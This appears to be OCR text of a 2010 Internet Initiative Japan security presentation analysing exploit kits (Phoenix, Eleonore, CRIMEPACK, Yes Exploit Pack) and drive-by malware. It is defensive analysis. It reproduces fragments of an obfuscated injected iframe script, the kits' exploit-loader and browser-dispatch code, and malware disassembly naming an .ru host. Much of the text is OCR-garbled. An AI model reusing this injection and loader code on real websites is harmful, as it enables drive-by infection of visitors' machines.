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IBM Internet Security Systems
Transcript for: X Force Threat Insight Quarterly
Podcast Q4 2009

There was a dramatic 345 percent increase in the number
of new malicious Web links discovered in 2009. What do
you have in place to protect your end users from infecting
your enterprise by simply browsing the Web?

http://www.ibm.com/common/ssi/fcgi-
bin/ssialias?infotype=PM&subtype=XB&appname=GTSE_SE_TM_USEN&htmlfid=SE
E03003USEN&attachment=SEEO03003USEN.PDF
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Google online security blog
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The above graph shows the percentage of daily queries that contain at least
one search result labeled as harmful. In the past few months, more than
1% of all search results contained at least one result that we believe to
point to malicious content and the trend seems to be increasing.

http://googleonlinesecurity.blogspot.com/2008/02/all-your-iframe-are-point-to-us.html
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http://gdata.co.jp/press/archives/2010/11/java_1.htm
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http://blog.sucuri.net/2010/05/reply-from-godaddy-regarding-the-latest-attacks.html

http://blog.sucuri.net/2010/05/here-we-go-again-problem-at-godaddy-continues.htmi
http://blog.unmaskparasites.com/2010/04/11/network-solutions-and-wordpress-security-flaw/

o REYAE
— EBOHRYANIBEEHL TV RIIOTEOH A RS AS
N ETZATNAFTHUA—RIZDIEMBRI)TEBHIAEND
http://www.microad.jp/press/20100925/
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SHDOYADNRITASN ., FSAMTN(Fooa—KIC SEABRY)
J F%ifﬂ&')ﬂihé (mstmp)

http://blog.trendmicro.co.jp/archives/3723
https://www.jpcert.or.jp/at/2010/at100028.txt
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— CVE-2010-0886 (< 6.0u20)
— CVE-2010-0840 (< 6.0u19)
— CVE-2010-0094 (< 6.0u19)

« Adobe Reader / Acrobat (118 LA[E(Z80)
_ CVE-2010-3631 (< 9.4.0)
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%18 # [Zpromiscuous modelZ

Hint x

The virtual machine's operating system has
@ attempted to Enahlelpmmiscuuus mndel

on adapter Ethemet0. This I1s not allowed
for secunty reasons.

Please go to the Web page "http://
vmware.com/finfo?id=161" for help enabling
promiscuous mode in the virtual machine,

Mever show this hint again
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e ARICOAVTIYDHREANFKEE i

<scriptsvar GasTekao=40;GasTekao+=-38;MetHe=42;var XeXetes=String;var SeMeti=par
selnt;var JeSaweln=22;JleSaweln+=-6;LenCe=27;var PehaTec='Tq7ZrkYolumMN1CGQh5va7p
FXrzCuiogNJdABGevtI'.replace(/[q7ZKYLuMN1GQ5v7pFXzuigNJABGVtI]/q, '');TaRaxe=89;
var Hekalebe='elDv2DaDPlpx'.replace(/[LD2DDPpx]/g, '');SakatYag='wegejexerase';v
ar LezezBeqt='laledeg becef garajap fagadeteyeranawe sapadal leve namepene heret
a jemehef genapayabenexe xegegev ceseja gayegek weweyelezefahev fesakeye zewes f
ap levesetevaweseh fepaneve femelade zetageca xer zejegey megetegebe zetecaye pa
let veramaj lefexe zeb rexeweser zev zeketeye xeqge cemevedegejar kapezet vetayew
eke yerezay bapecaf fewakera zet sakenev za kakapag wacayajerefeze xevenen fenas
e heg t sefezana gega selehel kage hasasege ves raheyep sesetaweletaweke jegedew
pesexebegeley degemas banakecegahes fepeyem kedazeface geyehek tagejegexexesas
sebewen nenekexe gepa xejenanefelese hey lep resagex yecabadabewejap panekem lez
ayepegemekeya nep nez jey 1 cepeyede jemegata xecedes hagayajagqa vavehel renet z
eneqefa lamab tekeyel yekacereq zeve bahefadelenede naz wan pawa ra cag jak paf

~ waral auv vahavadan nararan navuatzs havaran coaravouacas nanoman Aaavahana Azmabhal  fF
E_

-
=
|

|t
[—
|
|1
—
Eq

-

CER |
document.write('<iframe 5c}oliiﬁg=“no” width="1" height="1" border="0" framebord
er="e" src="http://~ ipla .com/count31.php"></iframe>")
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 Phoenix Exploit’s kit

* Eleonore Exploitkit

e CRIMEPACK

* Yes Exploit Pack
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; « B DEXploitMiRHt (Phoenix Exploit's kit)

echo "document.write(\"<body><div id='j'></div><0BJECT id=Pdfl height=0 width=0
classid=clsid:CABA9780-2860D-11CF-A24D-444553540000=></0BIECT></body=\");";

echo "var fdata-":

echo "function LOADFLASH() {var vid = \"<object width='300' height='300' id='Brid
geMovie'=<param name="movlie' value='files/lie.swf'=</param=<param name='allowScri
ptAccess' value='sameDomain'=</param=<embed src='files/ie.swf' name='BridgeMovie
" allowScriptAccess='sameDomain' type='application/x-shockwave-flash' width='425
" height="355"></embed></object=>\";function lev (id, eddc){document.getElementBy
Id(id).innerHTML = fev(eddc);}function fevi{edc){if(edc && edc.tolLowerCase().inde
x0f('classid') == -1){var objPos = edc.tolLowerCase().index0f('object ') + 'objec
t ".length;return edc.substr(®, objPos) + 'classid=\"clsid:D27CDB6E-AEGD-11cT-96
B8-444553540000\" ' + edc.substr(objPos);}else{return edc;}}lev('j', vid);}";
echo "function FLASHSPRAY(){var movie = (navigator.appName.indexOf('Microsoft')!
=-1 7 window : dnrument)['BridgeMovie’];movie.sendFromls(fdata);}";

echo "function JAVA(){var applet=document.createElement( 'applet’);applet.setAttr
ibute('code’, 'Show.class');applet.setAttribute( 'width','100');applet.setAttribut
e('height',"100') ;document.body.appendChild(applet);}";

echo "function errfuck(){return true}window.onerror=errfuck;";

echo "function SHOWPDF(fn){var p = document.createElement('iframe’');p.setAttribu
te('src', fn);p.setAttribute('width®, 0);p.setAttribute('height', @);p.setAttrib
ute('frameborder'  '8");document.body.appendChild(p);}";

echo "functioy PDF(){i ry{var lv=Pdfl.GetVersions();var fi=/EScript=([~,]+),/;lv=

v

d Ldiv ik

© 2010 Internet Initiative Japan Inc.
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14T (Phoenix Ex

switch ( $browtype )

{

case "MSIE" :

if
if
if
if
if
if

(($MSIEversion
(($MSIEversion
(($MSIEversion
(($MSIEversion
(($MSIEversion

),

3 B Al & B 75 Exploitd
sloit's kit)

7.0) aml ($osver="Windows XP")) {reidfile( "tmp/xpie7.html" );}
7.8) and ($osver=="Windows XP SP2")) {readfile( "tmp/xpie7.html" );}
7.0) anil ($osver=="Windows 2003")) {-eadfile( "tmp/xpie7.html" );}

7.08) amnil ($osver=="Windows Vista"))

8.0)) { e

- A LZT _F Ml — 2 - La__Tm

Edbd 0L kb | III|.||I'_LL|L||-II|IIIL

L] 'I

[readfile( "tmp/vistaie7.html" );}

((($MSIEversion != 8.08) and ($MSIEversion !'= 7.8))) {readflleL "tmp/ie.html” );}
break;

case "Firefox" :
readfile( "tmp/ff.html" };
break;

default :
readfile( "tmp/other.html" )

© 2010 Internet Initiative Japan Inc.
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ExploitkitDE A aE

« AR DIRED B ENH| Bl & @Y 7EExploitd
=X 1T (Yes Exploit Pack)

elseif ($programm
echo _enco
echo _encode
echo _encode
echo _encode
echo _encode
}
elseif (§programm ==
echo _encode
if(gvers[2]
echo
elseif($vers
echo
echo _encode
echo _encode

'Internet Explorer' && $vers[2] == '7') {I

aL i

($msie 01,2);
($msie 02,3);
($etc_03,4);
($ms1ie 04,5);

l'FireFax']l{

1refox 00,1):;

<= '1.1")

_rawcode ($firefox 01);

[2] = '1.1" && $vers[2] == '1.5')
_encode ($firefox_03,3);

($etc 00, 4);

{$firEfax_D2,21;

elseif [$programm == '

if($vers[2]

echo _encode
echo _encode

elseif ($programm ==

el ETLTE A S

<= '

- ($opera_00):
($etc_02,1);
($opera_01,2);

‘Mozilla'p {
F+a rataw il 10,

© 2010 Internet Initiative Japan Inc.
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ExploitkitdDE A e

$EHEERDEIE (Phoenix Exploit's kit
Phoenix Exploit's Kit

Simple browser statistics Main Statistics Exploit statistics Menu
Browser Visits Exploited Percent Unique Visits Exploited Percent Exploit Exploited Percent Simple statistics
MSIE 23 7 30.43% 26 7 26.92% IE6MDAC 6 23.08% Advanced stafistics
Firefox 3 0 0% PDF GETICON 1 3.85% e

Referers statistics

Clear statistics
Exit
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Exploitkitd ZE A H g
o HEHFERDEIE (Eleonore Exploitkit (1))

Eleonore exploits pack version 1.4.1 for ....
Fast statistic :
Traffic: 152 / Loads: 2 / Percent: 1.32%

HTTP Referer: Trafic:

LR N | 3 1A
= 1 net L L

2
-

© 2010 Internet Initiative Japan Inc
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e HEHFERDEIE (Eleonore Exploitkit (2))

Country:
RU
Us
LA
GE
DE
GB
KZ
TR
CA
FR
SE

Traffic:
24
21
20
15
14

P | Pd || M| k| RA | EE R

I

Loads: Percent:

e [ O SO = OO - O - O S o I - B o T o S O - R

0 %

Yo
0%
0%
0 %

Yo
0 %
0%
0%
0 %
0 %
0 %
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L]
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« HMETIFHMD E:

Sploit:

midac

Browsers:
Chrome 4.0
Chrome 5.0
FireFox 2.0.0
FireFox 3.0.17
FireFox 3.0.3
FireFox 3.0.4
FireFox 3.0.7
FireFox 3.0.8
FireFox 3.5.2
FireFox 3.5.3

2 (Eleonore Exploitkit (3))

Loads:

2

Traffic: Loads: Percent:

2 0

(S = I L W R
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Exploitkit & A EE
. #ETIEIRDEEE (Eleonore Exploitkit (4))

Operation Systems: Totals:

I

Windows XP B3
Windows Vista 27

P
=

Windows 7
Linux
Power PC
Unknown Q5 :{
Windows 2003
Windows CE
Windows 2000
iIPhone O5

Mobile phone

I = R R = R = A A PV SV . '

Mac O5
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Exploitkit

ExploitkitDE A aE

« X)) TDEEEE (Phoenix Exploit’s kit)
Phoenix Exploits Kit
ReCryptor v1.0

CD2DNRIVED) YT BH1E1FHT, JavaScriptD E &1L

ING— e REFICER I D EMARE

| | ReCrypt Sploit

5 || Done ||
iative Japa
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ExploitkitDE A aE

« RJVTrDEE

_encode §§msie 01,2);
_encode §§ms1ie 02, 3);
_encode f§etc_03,4);

encode §$msie 04,5);

}
elseif ($programm == 'FireFox']) {
echo encode($firefox 00,1);
if($vers[2] == '1.1')
echo rawcode($firefox 01);
elseif($vers[2] = '1.1' && $vers[2] == '1.5')
gchon encode ($firefox 03, 3);
echo Jencode |$etc 00, 4);
echo Jencode |$firefox _02,2); R —
I 'J‘f7311;z.f~g_ é:[-f£t[:]

elseif ($programm == 'Opera’) {

1T ($vers[2] == '9.3") ﬁgﬁ1tLTL\é I

rawcode ($opera_00);

echo| _encode [$etc_02,1);
echoj encode {$opera 01, 2);
}
elseif ($programm == 'Mozilla') {

el Aarmendas fdFa rafae AN 10,
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Exploitkit

| ExploitkitdEAHEHE

9 o 7t Xl (Phoenix Exploit’s Kit)
— _IEH#FEﬁWO)ﬁ77’t’X®*ET |

$ip = $ SER".I’EH[ REHUTE ADDR']'
gr = myﬂql_queryt "SELECT 1 FROM stats WHERE ip="{$ip}' AND time>UNIX TIMESTAMP()-{$BANTIME}" );
if ( ®@ < mysqgl num rows( $r ) )

{

header("Location: "."http://www.google.com”); MEMEE AL IEIA b A ciLIE 5 ol AR YY)
glEE =FIVvy
{ %18 L TLVELVZ & [dgoogle ~ERE

sbrowver = getbrowserver($MSIEversion, $OPERAvers T
Sbrowtype = getbrowsertype( );

$osver = getosver( );
$country = getcountry( );
sreferer = "---";

if ( isset( % uET[ 1))

© 2010 Internet Initiative Japan Inc.



| Internet Initiative Japan.inc.

Exploitkit

. Exploitkitd & A HERE

|+ PUERHIE (CRIMEPACK)
LY EDIO—SDES

test@ubuntu:~/exploitkits/CP$ cat deny-ip.sh
#!/bin/bash

for ip in cat ip-list-gassoabuvgib.txt ; do iptables -I INPUT -s $ip -] DROP ;
done

test@ubuntu:~/exploitkits/CP$ head ip-list-gassoabuvgib.txt

L=E. L11.48.151

L=1.212.130.24

LTI, 1&L.79.81

LT4. 1. 99.218 W RMET AL TR

=Fo 1k, 12,112 .
o121 B EHEN TS

15%4.9.135.87 JEB T B-HDRI)TRMTE
L¥d. L6J.1.115

o2, 1=E.5.144

L% £14.79.2

d Ldiv ik
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ru:8080
mstmp

Exploitkit

xTEIZMIFTT
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18 =

« ESRRETILELTRL
— ExploitkitZz B # CTHlRFEIT S5 EIZ&E-TEHERTF T,
TNTILEALMEHEEDFER . EXploitAEADEE
JREELTULNS

— Exploitkit® FZIEHHR—FETHLVTLVDEDE
c WEEIITILIITIZALHREITIZEALRY

F'JIJJfFJK——L’Cﬂ I TSR0, BEZXISFEIT
CHIEICRHORBBBEEEETETLES

-

« NEHDODHERHEAE—FHNRBITIHE

r-“!'l (1 SULRNE
|
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WA

il RE =
« VILOTT7ERFET HLTL

L Al EEbhEH
E — ru:80§00)37)%>7)l/r717 oush edi
= D —=f o X Moy esi, offset xorkey
- — Y—ROA—FAHAHEOIA push  esi
? RNTORTESBIET elsh Eh
« DFRYIDFIGFIA—FIZIE push  offset akindpea_ru @ kindeea. ru”
YA R ——
@ PP call XANASTLWIET THSH.

W (£ 9% | nop | 1OP (TELEL) BETORERTL:

STULVEULVATEESEMNF LY Lnoe |

o BEFHLOTGHEIZED-T M 1=k A
). Z/O—XRY—ZADT)L
%IT’&J\%LA IRIEZHE

“Ill-llliﬂil'f TN
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— $[ZJavatPPDFREDTSVOH TSI 1>
DAIAFERI IO T DEA

- REYY BHRADTYTT—h
TI)r—ia>oDtExa7ik

— fHlz (XAdobe Reader/Acrobat®JavaScriptZEiL. FELT7 T Jr—3

VDEIRR, RERITSOY TSI DENLEE

NAT—FEBOHE. EEAMNGER
TRERUNEE

— MESSMHTEIHR. REEDERZIEL THRRISHFD LLIIEREREERT D

a5 = R0 B R 2RI Zas
- BEBEMORE—FHMEL TSI, BRI LIRRBAET IS
SYANAN
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